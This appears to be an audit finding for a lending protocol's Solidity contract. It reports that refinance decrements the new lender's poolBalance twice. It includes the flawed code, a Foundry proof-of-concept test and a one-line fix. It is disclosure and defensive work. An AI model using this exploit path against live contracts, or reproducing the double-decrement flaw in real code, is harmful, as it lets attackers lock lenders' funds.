Summary
Calling refinance decrements the new lender's poolBalance twice.
Vulnerability Details
During the refinace logic, the poolBalance of poolId is updated twice to decrease by twice the actual borrowed quantity.
After updating with _updatePoolBalance(poolId, pools[poolId].poolBalance - debt);, it is finally reduced once more with pools[poolId].poolBalance -= debt;.
A malicious user could exploit this to run the refinance repeatedly, wiping out the poolBalance of a particular lender. The loanToken is then locked inside the protocol and cannot be recovered.
function refinance(Refinance[] calldata refinances) public {
for (uint256 i = 0; i < refinances.length; i++) {
uint256 loanId = refinances[i].loanId;
bytes32 poolId = refinances[i].poolId;
bytes32 oldPoolId = keccak256(
abi.encode(
loans[loanId].lender,
loans[loanId].loanToken,
loans[loanId].collateralToken
)
);
uint256 debt = refinances[i].debt;
uint256 collateral = refinances[i].collateral;
Loan memory loan = loans[loanId];
...
_updatePoolBalance(poolId, pools[poolId].poolBalance - debt);
pools[poolId].outstandingLoans += debt;
...
loans[loanId].collateral = collateral;
loans[loanId].interestRate = pool.interestRate;
loans[loanId].startTimestamp = block.timestamp;
loans[loanId].auctionStartTimestamp = type(uint256).max;
loans[loanId].auctionLength = pool.auctionLength;
loans[loanId].lender = pool.lender;
pools[poolId].poolBalance -= debt;
...
}
}
POC:
function test_refinance() public {
test_borrow();
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
(,,,,uint256 poolBalance,,,,) = lender.pools(
lender.getPoolId(lender2, address(loanToken), address(collateralToken))
);
assertEq(poolBalance, 1000e18 - 100e18);
}
Impact
A malicious user can make lender's poolBalance to zero, and lock loan token in protocol.
Tools Used
VS Code
Recommendations
remove pools[poolId].poolBalance -= debt;